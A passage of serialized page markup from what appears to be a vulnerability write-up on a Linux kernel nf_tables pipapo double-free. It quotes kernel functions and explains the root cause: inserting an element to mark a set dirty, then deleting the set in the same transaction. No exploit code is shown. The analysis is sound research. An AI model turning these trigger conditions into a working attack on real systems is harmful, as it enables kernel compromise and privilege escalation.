",{"type":25,"tag":271,"props":64316,"children":64317},{"style":13603},[64318],{"type":30,"value":1065},{"type":25,"tag":271,"props":64320,"children":64321},{"style":16187},[64322],{"type":30,"value":16190},{"type":25,"tag":271,"props":64324,"children":64325},{"style":13625},[64326],{"type":30,"value":64327},", f ",{"type":25,"tag":271,"props":64329,"children":64330},{"style":13603},[64331],{"type":30,"value":1065},{"type":25,"tag":271,"props":64333,"children":64334},{"style":13598},[64335],{"type":30,"value":64336}," m",{"type":25,"tag":271,"props":64338,"children":64339},{"style":13625},[64340],{"type":30,"value":14411},{"type":25,"tag":271,"props":64342,"children":64343},{"style":13598},[64344],{"type":30,"value":4503},{"type":25,"tag":271,"props":64346,"children":64347},{"style":13625},[64348],{"type":30,"value":64349},"; i ",{"type":25,"tag":271,"props":64351,"children":64352},{"style":13603},[64353],{"type":30,"value":14307},{"type":25,"tag":271,"props":64355,"children":64356},{"style":13598},[64357],{"type":30,"value":64336},{"type":25,"tag":271,"props":64359,"children":64360},{"style":13625},[64361],{"type":30,"value":14411},{"type":25,"tag":271,"props":64363,"children":64364},{"style":13598},[64365],{"type":30,"value":64366},"field_count",{"type":25,"tag":271,"props":64368,"children":64369},{"style":13603},[64370],{"type":30,"value":64371}," -",{"type":25,"tag":271,"props":64373,"children":64374},{"style":16187},[64375],{"type":30,"value":17654},{"type":25,"tag":271,"props":64377,"children":64378},{"style":13625},[64379],{"type":30,"value":64380},"; i",{"type":25,"tag":271,"props":64382,"children":64383},{"style":13603},[64384],{"type":30,"value":64385},"++",{"type":25,"tag":271,"props":64387,"children":64388},{"style":13625},[64389],{"type":30,"value":64390},", f",{"type":25,"tag":271,"props":64392,"children":64393},{"style":13603},[64394],{"type":30,"value":64385},{"type":25,"tag":271,"props":64396,"children":64397},{"style":13625},[64398],{"type":30,"value":16299},{"type":25,"tag":271,"props":64400,"children":64401},{"class":13593,"line":16465},[64402],{"type":25,"tag":271,"props":64403,"children":64404},{"style":13625},[64405],{"type":30,"value":64406},"  ;\n",{"type":25,"tag":271,"props":64408,"children":64409},{"class":13593,"line":16486},[64410],{"type":25,"tag":271,"props":64411,"children":64412},{"emptyLinePlaceholder":18},[64413],{"type":30,"value":16829},{"type":25,"tag":271,"props":64415,"children":64416},{"class":13593,"line":16495},[64417,64421,64426,64430,64434,64439,64443,64447,64451,64456,64461,64465],{"type":25,"tag":271,"props":64418,"children":64419},{"style":16171},[64420],{"type":30,"value":64309},{"type":25,"tag":271,"props":64422,"children":64423},{"style":13625},[64424],{"type":30,"value":64425}," (r ",{"type":25,"tag":271,"props":64427,"children":64428},{"style":13603},[64429],{"type":30,"value":1065},{"type":25,"tag":271,"props":64431,"children":64432},{"style":16187},[64433],{"type":30,"value":16190},{"type":25,"tag":271,"props":64435,"children":64436},{"style":13625},[64437],{"type":30,"value":64438},"; r ",{"type":25,"tag":271,"props":64440,"children":64441},{"style":13603},[64442],{"type":30,"value":14307},{"type":25,"tag":271,"props":64444,"children":64445},{"style":13598},[64446],{"type":30,"value":46084},{"type":25,"tag":271,"props":64448,"children":64449},{"style":13625},[64450],{"type":30,"value":14411},{"type":25,"tag":271,"props":64452,"children":64453},{"style":13598},[64454],{"type":30,"value":64455},"rules",{"type":25,"tag":271,"props":64457,"children":64458},{"style":13625},[64459],{"type":30,"value":64460},"; r",{"type":25,"tag":271,"props":64462,"children":64463},{"style":13603},[64464],{"type":30,"value":64385},{"type":25,"tag":271,"props":64466,"children":64467},{"style":13625},[64468],{"type":30,"value":27925},{"type":25,"tag":271,"props":64470,"children":64471},{"class":13593,"line":16744},[64472,64476,64481,64485],{"type":25,"tag":271,"props":64473,"children":64474},{"style":14289},[64475],{"type":30,"value":18928},{"type":25,"tag":271,"props":64477,"children":64478},{"style":13625},[64479],{"type":30,"value":64480}," nft_pipapo_elem ",{"type":25,"tag":271,"props":64482,"children":64483},{"style":13603},[64484],{"type":30,"value":17702},{"type":25,"tag":271,"props":64486,"children":64487},{"style":13625},[64488],{"type":30,"value":64489},"e;\n",{"type":25,"tag":271,"props":64491,"children":64492},{"class":13593,"line":16761},[64493],{"type":25,"tag":271,"props":64494,"children":64495},{"emptyLinePlaceholder":18},[64496],{"type":30,"value":16829},{"type":25,"tag":271,"props":64498,"children":64499},{"class":13593,"line":16778},[64500,64504,64508,64512,64516,64520,64524,64528,64532,64536,64540,64544,64549,64554,64558,64562,64566,64571,64575,64579,64583,64587,64592,64596],{"type":25,"tag":271,"props":64501,"children":64502},{"style":16171},[64503],{"type":30,"value":44506},{"type":25,"tag":271,"props":64505,"children":64506},{"style":13625},[64507],{"type":30,"value":64425},{"type":25,"tag":271,"props":64509,"children":64510},{"style":13603},[64511],{"type":30,"value":14307},{"type":25,"tag":271,"props":64513,"children":64514},{"style":13598},[64515],{"type":30,"value":46084},{"type":25,"tag":271,"props":64517,"children":64518},{"style":13625},[64519],{"type":30,"value":14411},{"type":25,"tag":271,"props":64521,"children":64522},{"style":13598},[64523],{"type":30,"value":64455},{"type":25,"tag":271,"props":64525,"children":64526},{"style":13603},[64527],{"type":30,"value":64371},{"type":25,"tag":271,"props":64529,"children":64530},{"style":16187},[64531],{"type":30,"value":17654},{"type":25,"tag":271,"props":64533,"children":64534},{"style":13603},[64535],{"type":30,"value":27306},{"type":25,"tag":271,"props":64537,"children":64538},{"style":13598},[64539],{"type":30,"value":46084},{"type":25,"tag":271,"props":64541,"children":64542},{"style":13625},[64543],{"type":30,"value":14411},{"type":25,"tag":271,"props":64545,"children":64546},{"style":13598},[64547],{"type":30,"value":64548},"mt",{"type":25,"tag":271,"props":64550,"children":64551},{"style":13625},[64552],{"type":30,"value":64553},"[r ",{"type":25,"tag":271,"props":64555,"children":64556},{"style":13603},[64557],{"type":30,"value":2074},{"type":25,"tag":271,"props":64559,"children":64560},{"style":16187},[64561],{"type":30,"value":17654},{"type":25,"tag":271,"props":64563,"children":64564},{"style":13625},[64565],{"type":30,"value":63464},{"type":25,"tag":271,"props":64567,"children":64568},{"style":13598},[64569],{"type":30,"value":64570},"e",{"type":25,"tag":271,"props":64572,"children":64573},{"style":13603},[64574],{"type":30,"value":16422},{"type":25,"tag":271,"props":64576,"children":64577},{"style":13598},[64578],{"type":30,"value":46084},{"type":25,"tag":271,"props":64580,"children":64581},{"style":13625},[64582],{"type":30,"value":14411},{"type":25,"tag":271,"props":64584,"children":64585},{"style":13598},[64586],{"type":30,"value":64548},{"type":25,"tag":271,"props":64588,"children":64589},{"style":13625},[64590],{"type":30,"value":64591},"[r].",{"type":25,"tag":271,"props":64593,"children":64594},{"style":13598},[64595],{"type":30,"value":64570},{"type":25,"tag":271,"props":64597,"children":64598},{"style":13625},[64599],{"type":30,"value":16299},{"type":25,"tag":271,"props":64601,"children":64602},{"class":13593,"line":16791},[64603,64608],{"type":25,"tag":271,"props":64604,"children":64605},{"style":16171},[64606],{"type":30,"value":64607},"   continue",{"type":25,"tag":271,"props":64609,"children":64610},{"style":13625},[64611],{"type":30,"value":16165},{"type":25,"tag":271,"props":64613,"children":64614},{"class":13593,"line":16800},[64615],{"type":25,"tag":271,"props":64616,"children":64617},{"emptyLinePlaceholder":18},[64618],{"type":30,"value":16829},{"type":25,"tag":271,"props":64620,"children":64621},{"class":13593,"line":16823},[64622,64627,64631,64635,64639,64643,64647,64651],{"type":25,"tag":271,"props":64623,"children":64624},{"style":13625},[64625],{"type":30,"value":64626},"  e ",{"type":25,"tag":271,"props":64628,"children":64629},{"style":13603},[64630],{"type":30,"value":1065},{"type":25,"tag":271,"props":64632,"children":64633},{"style":13598},[64634],{"type":30,"value":46084},{"type":25,"tag":271,"props":64636,"children":64637},{"style":13625},[64638],{"type":30,"value":14411},{"type":25,"tag":271,"props":64640,"children":64641},{"style":13598},[64642],{"type":30,"value":64548},{"type":25,"tag":271,"props":64644,"children":64645},{"style":13625},[64646],{"type":30,"value":64591},{"type":25,"tag":271,"props":64648,"children":64649},{"style":13598},[64650],{"type":30,"value":64570},{"type":25,"tag":271,"props":64652,"children":64653},{"style":13625},[64654],{"type":30,"value":16165},{"type":25,"tag":271,"props":64656,"children":64657},{"class":13593,"line":16832},[64658],{"type":25,"tag":271,"props":64659,"children":64660},{"emptyLinePlaceholder":18},[64661],{"type":30,"value":16829},{"type":25,"tag":271,"props":64663,"children":64664},{"class":13593,"line":16841},[64665,64670,64675,64679,64683,64687,64692],{"type":25,"tag":271,"props":64666,"children":64667},{"style":13620},[64668],{"type":30,"value":64669},"  nf_tables_set_elem_destroy",{"type":25,"tag":271,"props":64671,"children":64672},{"style":13625},[64673],{"type":30,"value":64674},"(ctx, set, ",{"type":25,"tag":271,"props":64676,"children":64677},{"style":13603},[64678],{"type":30,"value":13632},{"type":25,"tag":271,"props":64680,"children":64681},{"style":13598},[64682],{"type":30,"value":64570},{"type":25,"tag":271,"props":64684,"children":64685},{"style":13625},[64686],{"type":30,"value":14411},{"type":25,"tag":271,"props":64688,"children":64689},{"style":13598},[64690],{"type":30,"value":64691},"priv",{"type":25,"tag":271,"props":64693,"children":64694},{"style":13625},[64695],{"type":30,"value":13665},{"type":25,"tag":271,"props":64697,"children":64698},{"class":13593,"line":16907},[64699],{"type":25,"tag":271,"props":64700,"children":64701},{"style":13625},[64702],{"type":30,"value":22719},{"type":25,"tag":271,"props":64704,"children":64705},{"class":13593,"line":16915},[64706],{"type":25,"tag":271,"props":64707,"children":64708},{"style":13625},[64709],{"type":30,"value":17058},{"type":25,"tag":26,"props":64711,"children":64712},{},[64713,64715,64721,64723,64728],{"type":30,"value":64714},"Which will then ",{"type":25,"tag":264,"props":64716,"children":64718},{"className":64717},[],[64719],{"type":30,"value":64720},"kfree()",{"type":30,"value":64722}," the ",{"type":25,"tag":264,"props":64724,"children":64726},{"className":64725},[],[64727],{"type":30,"value":64127},{"type":30,"value":1860},{"type":25,"tag":7764,"props":64730,"children":64732},{"className":29637,"code":64731,"language":13243,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[64733],{"type":25,"tag":264,"props":64734,"children":64735},{"__ignoreMap":7},[64736,64777,64805,64834,64841,64876,64883,64904,64927,64934,64947],{"type":25,"tag":271,"props":64737,"children":64738},{"class":13593,"line":13594},[64739,64744,64749,64753,64757,64761,64765,64769,64773],{"type":25,"tag":271,"props":64740,"children":64741},{"style":14289},[64742],{"type":30,"value":64743},"void",{"type":25,"tag":271,"props":64745,"children":64746},{"style":13620},[64747],{"type":30,"value":64748}," nf_tables_set_elem_destroy",{"type":25,"tag":271,"props":64750,"children":64751},{"style":13625},[64752],{"type":30,"value":394},{"type":25,"tag":271,"props":64754,"children":64755},{"style":14289},[64756],{"type":30,"value":22778},{"type":25,"tag":271,"props":64758,"children":64759},{"style":14289},[64760],{"type":30,"value":34271},{"type":25,"tag":271,"props":64762,"children":64763},{"style":13625},[64764],{"type":30,"value":64187},{"type":25,"tag":271,"props":64766,"children":64767},{"style":13603},[64768],{"type":30,"value":17702},{"type":25,"tag":271,"props":64770,"children":64771},{"style":13598},[64772],{"type":30,"value":33401},{"type":25,"tag":271,"props":64774,"children":64775},{"style":13625},[64776],{"type":30,"value":14351},{"type":25,"tag":271,"props":64778,"children":64779},{"class":13593,"line":11641},[64780,64785,64789,64793,64797,64801],{"type":25,"tag":271,"props":64781,"children":64782},{"style":14289},[64783],{"type":30,"value":64784},"    const",{"type":25,"tag":271,"props":64786,"children":64787},{"style":14289},[64788],{"type":30,"value":34271},{"type":25,"tag":271,"props":64790,"children":64791},{"style":13625},[64792],{"type":30,"value":64215},{"type":25,"tag":271,"props":64794,"children":64795},{"style":13603},[64796],{"type":30,"value":17702},{"type":25,"tag":271,"props":64798,"children":64799},{"style":13598},[64800],{"type":30,"value":64135},{"type":25,"tag":271,"props":64802,"children":64803},{"style":13625},[64804],{"type":30,"value":14351},{"type":25,"tag":271,"props":64806,"children":64807},{"class":13593,"line":14354},[64808,64812,64816,64821,64825,64830],{"type":25,"tag":271,"props":64809,"children":64810},{"style":14289},[64811],{"type":30,"value":64784},{"type":25,"tag":271,"props":64813,"children":64814},{"style":14289},[64815],{"type":30,"value":34271},{"type":25,"tag":271,"props":64817,"children":64818},{"style":13625},[64819],{"type":30,"value":64820}," nft_elem_priv ",{"type":25,"tag":271,"props":64822,"children":64823},{"style":13603},[64824],{"type":30,"value":17702},{"type":25,"tag":271,"props":64826,"children":64827},{"style":13598},[64828],{"type":30,"value":64829},"elem_priv",{"type":25,"tag":271,"props":64831,"children":64832},{"style":13625},[64833],{"type":30,"value":16299},{"type":25,"tag":271,"props":64835,"children":64836},{"class":13593,"line":14391},[64837],{"type":25,"tag":271,"props":64838,"children":64839},{"style":13625},[64840],{"type":30,"value":24005},{"type":25,"tag":271,"props":64842,"children":64843},{"class":13593,"line":14400},[64844,64848,64853,64857,64862,64866,64871],{"type":25,"tag":271,"props":64845,"children":64846},{"style":14289},[64847],{"type":30,"value":34271},{"type":25,"tag":271,"props":64849,"children":64850},{"style":13625},[64851],{"type":30,"value":64852}," nft_set_ext ",{"type":25,"tag":271,"props":64854,"children":64855},{"style":13603},[64856],{"type":30,"value":17702},{"type":25,"tag":271,"props":64858,"children":64859},{"style":13625},[64860],{"type":30,"value":64861},"ext ",{"type":25,"tag":271,"props":64863,"children":64864},{"style":13603},[64865],{"type":30,"value":1065},{"type":25,"tag":271,"props":64867,"children":64868},{"style":13620},[64869],{"type":30,"value":64870}," nft_set_elem_ext",{"type":25,"tag":271,"props":64872,"children":64873},{"style":13625},[64874],{"type":30,"value":64875},"(set, elem_priv);\n",{"type":25,"tag":271,"props":64877,"children":64878},{"class":13593,"line":16406},[64879],{"type":25,"tag":271,"props":64880,"children":64881},{"emptyLinePlaceholder":18},[64882],{"type":30,"value":16829},{"type":25,"tag":271,"props":64884,"children":64885},{"class":13593,"line":16434},[64886,64890,64894,64899],{"type":25,"tag":271,"props":64887,"children":64888},{"style":16171},[64889],{"type":30,"value":28910},{"type":25,"tag":271,"props":64891,"children":64892},{"style":13625},[64893],{"type":30,"value":16213},{"type":25,"tag":271,"props":64895,"children":64896},{"style":13620},[64897],{"type":30,"value":64898},"nft_set_ext_exists",{"type":25,"tag":271,"props":64900,"children":64901},{"style":13625},[64902],{"type":30,"value":64903},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":25,"tag":271,"props":64905,"children":64906},{"class":13593,"line":16447},[64907,64912,64917,64922],{"type":25,"tag":271,"props":64908,"children":64909},{"style":13620},[64910],{"type":30,"value":64911},"  nft_set_elem_expr_destroy",{"type":25,"tag":271,"props":64913,"children":64914},{"style":13625},[64915],{"type":30,"value":64916},"(ctx, ",{"type":25,"tag":271,"props":64918,"children":64919},{"style":13620},[64920],{"type":30,"value":64921},"nft_set_ext_expr",{"type":25,"tag":271,"props":64923,"children":64924},{"style":13625},[64925],{"type":30,"value":64926},"(ext));\n",{"type":25,"tag":271,"props":64928,"children":64929},{"class":13593,"line":16465},[64930],{"type":25,"tag":271,"props":64931,"children":64932},{"emptyLinePlaceholder":18},[64933],{"type":30,"value":16829},{"type":25,"tag":271,"props":64935,"children":64936},{"class":13593,"line":16486},[64937,64942],{"type":25,"tag":271,"props":64938,"children":64939},{"style":13620},[64940],{"type":30,"value":64941}," kfree",{"type":25,"tag":271,"props":64943,"children":64944},{"style":13625},[64945],{"type":30,"value":64946},"(elem_priv);\n",{"type":25,"tag":271,"props":64948,"children":64949},{"class":13593,"line":16495},[64950],{"type":25,"tag":271,"props":64951,"children":64952},{"style":13625},[64953],{"type":30,"value":17058},{"type":25,"tag":26,"props":64955,"children":64956},{},[64957,64958,64964,64966,64971,64973,64978,64980,64985,64986,64991,64993,64998,65000,65005,65007,65012],{"type":30,"value":10272},{"type":25,"tag":264,"props":64959,"children":64961},{"className":64960},[],[64962],{"type":30,"value":64963},"nft_pipapo_match",{"type":30,"value":64965}," objects contain views of the ",{"type":25,"tag":264,"props":64967,"children":64969},{"className":64968},[],[64970],{"type":30,"value":64127},{"type":30,"value":64972},"'s of a ",{"type":25,"tag":264,"props":64974,"children":64976},{"className":64975},[],[64977],{"type":30,"value":64135},{"type":30,"value":64979},". The difference between the ",{"type":25,"tag":264,"props":64981,"children":64983},{"className":64982},[],[64984],{"type":30,"value":64112},{"type":30,"value":12218},{"type":25,"tag":264,"props":64987,"children":64989},{"className":64988},[],[64990],{"type":30,"value":64096},{"type":30,"value":64992}," match objects is that the clone has a view of not only already committed ",{"type":25,"tag":264,"props":64994,"children":64996},{"className":64995},[],[64997],{"type":30,"value":64127},{"type":30,"value":64999},"'s that the \"normal\" one has but also a view of the ",{"type":25,"tag":264,"props":65001,"children":65003},{"className":65002},[],[65004],{"type":30,"value":64127},{"type":30,"value":65006},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":25,"tag":264,"props":65008,"children":65010},{"className":65009},[],[65011],{"type":30,"value":64112},{"type":30,"value":1860},{"type":25,"tag":247,"props":65014,"children":65016},{"id":65015},"root-cause-analysis",[65017],{"type":30,"value":65018},"Root-cause analysis",{"type":25,"tag":26,"props":65020,"children":65021},{},[65022,65024,65030,65032,65037],{"type":30,"value":65023},"So ",{"type":25,"tag":264,"props":65025,"children":65027},{"className":65026},[],[65028],{"type":30,"value":65029},"nf_tables_set_elem_destroy",{"type":30,"value":65031}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":25,"tag":264,"props":65033,"children":65035},{"className":65034},[],[65036],{"type":30,"value":64127},{"type":30,"value":65038},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":25,"tag":26,"props":65040,"children":65041},{},[65042,65044,65049,65051,65056,65058,65063,65065,65070,65072,65077],{"type":30,"value":65043},"We should now try to understand how to reach that path with the ",{"type":25,"tag":264,"props":65045,"children":65047},{"className":65046},[],[65048],{"type":30,"value":64089},{"type":30,"value":65050}," flag set, which is a member of the private data of a pipapo ",{"type":25,"tag":264,"props":65052,"children":65054},{"className":65053},[],[65055],{"type":30,"value":64127},{"type":30,"value":65057}," that becomes true whenever a change is made to the ",{"type":25,"tag":264,"props":65059,"children":65061},{"className":65060},[],[65062],{"type":30,"value":64135},{"type":30,"value":65064}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":25,"tag":264,"props":65066,"children":65068},{"className":65067},[],[65069],{"type":30,"value":64135},{"type":30,"value":65071}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":25,"tag":264,"props":65073,"children":65075},{"className":65074},[],[65076],{"type":30,"value":64135},{"type":30,"value":65078}," dirty by inserting a new element.",{"type":25,"tag":7764,"props":65080,"children":65082},{"className":29637,"code":65081,"language":13243,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[65083],{"type":25,"tag":264,"props":65084,"children":65085},{"__ignoreMap":7},[65086,65156,65185,65210,65217,65224,65253,65260],{"type":25,"tag":271,"props":65087,"children":65088},{"class":13593,"line":13594},[65089,65093,65097,65102,65106,65110,65114,65119,65123,65128,65132,65136,65140,65144,65148,65152],{"type":25,"tag":271,"props":65090,"children":65091},{"style":14289},[65092],{"type":30,"value":64160},{"type":25,"tag":271,"props":65094,"children":65095},{"style":14289},[65096],{"type":30,"value":64289},{"type":25,"tag":271,"props":65098,"children":65099},{"style":13620},[65100],{"type":30,"value":65101}," nft_pipapo_insert",{"type":25,"tag":271,"props":65103,"children":65104},{"style":13625},[65105],{"type":30,"value":394},{"type":25,"tag":271,"props":65107,"children":65108},{"style":14289},[65109],{"type":30,"value":22778},{"type":25,"tag":271,"props":65111,"children":65112},{"style":14289},[65113],{"type":30,"value":34271},{"type":25,"tag":271,"props":65115,"children":65116},{"style":13625},[65117],{"type":30,"value":65118}," net ",{"type":25,"tag":271,"props":65120,"children":65121},{"style":13603},[65122],{"type":30,"value":17702},{"type":25,"tag":271,"props":65124,"children":65125},{"style":13598},[65126],{"type":30,"value":65127},"net",{"type":25,"tag":271,"props":65129,"children":65130},{"style":13625},[65131],{"type":30,"value":44},{"type":25,"tag":271,"props":65133,"children":65134},{"style":14289},[65135],{"type":30,"value":22778},{"type":25,"tag":271,"props":65137,"children":65138},{"style":14289},[65139],{"type":30,"value":34271},{"type":25,"tag":271,"props":65141,"children":65142},{"style":13625},[65143],{"type":30,"value":64215},{"type":25,"tag":271,"props":65145,"children":65146},{"style":13603},[65147],{"type":30,"value":17702},{"type":25,"tag":271,"props":65149,"children":65150},{"style":13598},[65151],{"type":30,"value":64135},{"type":25,"tag":271,"props":65153,"children":65154},{"style":13625},[65155],{"type":30,"value":14351},{"type":25,"tag":271,"props":65157,"children":65158},{"class":13593,"line":11641},[65159,65163,65167,65172,65176,65181],{"type":25,"tag":271,"props":65160,"children":65161},{"style":14289},[65162],{"type":30,"value":46014},{"type":25,"tag":271,"props":65164,"children":65165},{"style":14289},[65166],{"type":30,"value":34271},{"type":25,"tag":271,"props":65168,"children":65169},{"style":13625},[65170],{"type":30,"value":65171}," nft_set_elem ",{"type":25,"tag":271,"props":65173,"children":65174},{"style":13603},[65175],{"type":30,"value":17702},{"type":25,"tag":271,"props":65177,"children":65178},{"style":13598},[65179],{"type":30,"value":65180},"elem",{"type":25,"tag":271,"props":65182,"children":65183},{"style":13625},[65184],{"type":30,"value":14351},{"type":25,"tag":271,"props":65186,"children":65187},{"class":13593,"line":14354},[65188,65193,65197,65202,65206],{"type":25,"tag":271,"props":65189,"children":65190},{"style":14289},[65191],{"type":30,"value":65192},"        struct",{"type":25,"tag":271,"props":65194,"children":65195},{"style":13625},[65196],{"type":30,"value":64820},{"type":25,"tag":271,"props":65198,"children":65199},{"style":13603},[65200],{"type":30,"value":65201},"**",{"type":25,"tag":271,"props":65203,"children":65204},{"style":13598},[65205],{"type":30,"value":64829},{"type":25,"tag":271,"props":65207,"children":65208},{"style":13625},[65209],{"type":30,"value":16299},{"type":25,"tag":271,"props":65211,"children":65212},{"class":13593,"line":14391},[65213],{"type":25,"tag":271,"props":65214,"children":65215},{"style":13625},[65216],{"type":30,"value":24005},{"type":25,"tag":271,"props":65218,"children":65219},{"class":13593,"line":14400},[65220],{"type":25,"tag":271,"props":65221,"children":65222},{"style":13625},[65223],{"type":30,"value":23442},{"type":25,"tag":271,"props":65225,"children":65226},{"class":13593,"line":16406},[65227,65232,65236,65241,65245,65249],{"type":25,"tag":271,"props":65228,"children":65229},{"style":13598},[65230],{"type":30,"value":65231}," priv",{"type":25,"tag":271,"props":65233,"children":65234},{"style":13625},[65235],{"type":30,"value":14411},{"type":25,"tag":271,"props":65237,"children":65238},{"style":13598},[65239],{"type":30,"value":65240},"dirty",{"type":25,"tag":271,"props":65242,"children":65243},{"style":13603},[65244],{"type":30,"value":16155},{"type":25,"tag":271,"props":65246,"children":65247},{"style":14289},[65248],{"type":30,"value":25594},{"type":25,"tag":271,"props":65250,"children":65251},{"style":13625},[65252],{"type":30,"value":16165},{"type":25,"tag":271,"props":65254,"children":65255},{"class":13593,"line":16434},[65256],{"type":25,"tag":271,"props":65257,"children":65258},{"style":13625},[65259],{"type":30,"value":23442},{"type":25,"tag":271,"props":65261,"children":65262},{"class":13593,"line":16447},[65263],{"type":25,"tag":271,"props":65264,"children":65265},{"style":13625},[65266],{"type":30,"value":17058},{"type":25,"tag":26,"props":65268,"children":65269},{},[65270],{"type":30,"value":65271},"We also see that when the changes are commited, this flag is then unset.",{"type":25,"tag":7764,"props":65273,"children":65275},{"className":29637,"code":65274,"language":13243,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[65276],{"type":25,"tag":264,"props":65277,"children":65278},{"__ignoreMap":7},[65279,65319,65326,65333,65364,65375,65382,65409,65416],{"type":25,"tag":271,"props":65280,"children":65281},{"class":13593,"line":13594},[65282,65286,65290,65295,65299,65303,65307,65311,65315],{"type":25,"tag":271,"props":65283,"children":65284},{"style":14289},[65285],{"type":30,"value":64160},{"type":25,"tag":271,"props":65287,"children":65288},{"style":14289},[65289],{"type":30,"value":64165},{"type":25,"tag":271,"props":65291,"children":65292},{"style":13620},[65293],{"type":30,"value":65294}," nft_pipapo_commit",{"type":25,"tag":271,"props":65296,"children":65297},{"style":13625},[65298],{"type":30,"value":394},{"type":25,"tag":271,"props":65300,"children":65301},{"style":14289},[65302],{"type":30,"value":22524},{"type":25,"tag":271,"props":65304,"children":65305},{"style":13625},[65306],{"type":30,"value":64215},{"type":25,"tag":271,"props":65308,"children":65309},{"style":13603},[65310],{"type":30,"value":17702},{"type":25,"tag":271,"props":65312,"children":65313},{"style":13598},[65314],{"type":30,"value":64135},{"type":25,"tag":271,"props":65316,"children":65317},{"style":13625},[65318],{"type":30,"value":16299},{"type":25,"tag":271,"props":65320,"children":65321},{"class":13593,"line":11641},[65322],{"type":25,"tag":271,"props":65323,"children":65324},{"style":13625},[65325],{"type":30,"value":24005},{"type":25,"tag":271,"props":65327,"children":65328},{"class":13593,"line":14354},[65329],{"type":25,"tag":271,"props":65330,"children":65331},{"style":13625},[65332],{"type":30,"value":23442},{"type":25,"tag":271,"props":65334,"children":65335},{"class":13593,"line":14391},[65336,65340,65344,65348,65352,65356,65360],{"type":25,"tag":271,"props":65337,"children":65338},{"style":16171},[65339],{"type":30,"value":28910},{"type":25,"tag":271,"props":65341,"children":65342},{"style":13625},[65343],{"type":30,"value":16213},{"type":25,"tag":271,"props":65345,"children":65346},{"style":13603},[65347],{"type":30,"value":33742},{"type":25,"tag":271,"props":65349,"children":65350},{"style":13598},[65351],{"type":30,"value":64691},{"type":25,"tag":271,"props":65353,"children":65354},{"style":13625},[65355],{"type":30,"value":14411},{"type":25,"tag":271,"props":65357,"children":65358},{"style":13598},[65359],{"type":30,"value":65240},{"type":25,"tag":271,"props":65361,"children":65362},{"style":13625},[65363],{"type":30,"value":16299},{"type":25,"tag":271,"props":65365,"children":65366},{"class":13593,"line":14400},[65367,65371],{"type":25,"tag":271,"props":65368,"children":65369},{"style":16171},[65370],{"type":30,"value":52309},{"type":25,"tag":271,"props":65372,"children":65373},{"style":13625},[65374],{"type":30,"value":16165},{"type":25,"tag":271,"props":65376,"children":65377},{"class":13593,"line":16406},[65378],{"type":25,"tag":271,"props":65379,"children":65380},{"style":13625},[65381],{"type":30,"value":23442},{"type":25,"tag":271,"props":65383,"children":65384},{"class":13593,"line":16434},[65385,65389,65393,65397,65401,65405],{"type":25,"tag":271,"props":65386,"children":65387},{"style":13598},[65388],{"type":30,"value":65231},{"type":25,"tag":271,"props":65390,"children":65391},{"style":13625},[65392],{"type":30,"value":14411},{"type":25,"tag":271,"props":65394,"children":65395},{"style":13598},[65396],{"type":30,"value":65240},{"type":25,"tag":271,"props":65398,"children":65399},{"style":13603},[65400],{"type":30,"value":16155},{"type":25,"tag":271,"props":65402,"children":65403},{"style":14289},[65404],{"type":30,"value":22179},{"type":25,"tag":271,"props":65406,"children":65407},{"style":13625},[65408],{"type":30,"value":16165},{"type":25,"tag":271,"props":65410,"children":65411},{"class":13593,"line":16447},[65412],{"type":25,"tag":271,"props":65413,"children":65414},{"style":13625},[65415],{"type":30,"value":23442},{"type":25,"tag":271,"props":65417,"children":65418},{"class":13593,"line":16465},[65419],{"type":25,"tag":271,"props":65420,"children":65421},{"style":13625},[65422],{"type":30,"value":17058},{"type":25,"tag":26,"props":65424,"children":65425},{},[65426,65428,65433,65435,65440,65442,65447,65449,65454,65456,65462,65464,65470,65472,65477],{"type":30,"value":65427},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":25,"tag":264,"props":65429,"children":65431},{"className":65430},[],[65432],{"type":30,"value":64127},{"type":30,"value":65434}," in the ",{"type":25,"tag":264,"props":65436,"children":65438},{"className":65437},[],[65439],{"type":30,"value":64135},{"type":30,"value":65441}," to make it dirty and then delete the ",{"type":25,"tag":264,"props":65443,"children":65445},{"className":65444},[],[65446],{"type":30,"value":64135},{"type":30,"value":65448},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":25,"tag":264,"props":65450,"children":65452},{"className":65451},[],[65453],{"type":30,"value":64135},{"type":30,"value":65455},"'s ",{"type":25,"tag":264,"props":65457,"children":65459},{"className":65458},[],[65460],{"type":30,"value":65461},"->commit()",{"type":30,"value":65463}," method is executed before its ",{"type":25,"tag":264,"props":65465,"children":65467},{"className":65466},[],[65468],{"type":30,"value":65469},"->destroy()",{"type":30,"value":65471}," method, then the ",{"type":25,"tag":264,"props":65473,"children":65475},{"className":65474},[],[65476],{"type":30,"value":65240},{"type":30,"value":65478}," flag will be unset, and we won't be able to trigger the double-free.",{"type":25,"tag":26,"props":65480,"children":65481},{},[65482],{"type":30,"value":65483},"Let's once again refer to the code and see how these methods are called.",{"type":25,"tag":7764,"props":65485,"children":65487},{"className":29637,"code":65486,"language":13243,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   